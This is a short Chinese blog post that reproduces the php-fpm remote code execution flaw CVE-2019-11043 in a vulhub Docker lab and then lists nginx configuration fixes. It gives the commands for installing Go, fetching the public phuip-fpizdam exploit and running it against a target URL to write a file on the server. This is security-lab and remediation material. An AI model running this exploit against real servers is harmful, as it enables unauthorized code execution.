php-fpm漏洞復現(CVE-2019-11043)

1.php-fpm漏洞詳情

  • 當nginx使用特定的fastcgi配置的時候,就會存在遠程代碼執行漏洞,但是這個配置並不是默認配置
  • fastcgi_split_path_info字段配置爲^(.+?\.php)(/.*)$;時,攻擊者可以通過精心構造playload造成遠程代碼執行,改配置已經被廣泛使用,危害較大。

2.復現

  1. 安裝docker環境
git clone https://github.com/vulhub/vulhub.git

2.進入目錄 /vulhub/vulhub/tree/master/php/CVE-2019-11043並運行安裝環境

docker-compose up -d

在這裏插入圖片描述

  • 查看鏡像docker images
    在這裏插入圖片描述
  • 查看環境:http:ip:8080
    在這裏插入圖片描述
  1. 下載exp,安裝go環境
git clone https://github.com/neex/phuip-fpizdam.git
wget  -c https://storage.googleapis.com/golang/go1.13.3.linux-amd64.tar.gz
//解壓到/usr/local目錄
tar -C /usr/local/ -xzf go1.13.3.linux-amd64.tar.gz
  1. 編輯/etc/profile,在文件最後添加export PATH=$PATH:/usr/local/go/bin,執行source /etc/profile
  2. 獲取工具:go get github.com/neex/phuip-fpizdam
  3. 執行exp:./phuip-fpizdam http://ip/index.php 在/tmp/寫入文件a
    在這裏插入圖片描述
  4. 在docker中進入鏡像環境,查看tmp的目錄
    在這裏插入圖片描述
  5. 查看效果:
    在這裏插入圖片描述

3.修復

  1. 修改nginx配置文件中fastcgi_split_path_info的正則表達式,不允許.php之後傳入不可顯字符

  2. 暫停使用 nginx+php-fpm 服務

  • 根據實際生產環境的業務需求,將以下配置刪除

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

fastcgi_param PATH_INFO $fastcgi_path_info;

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章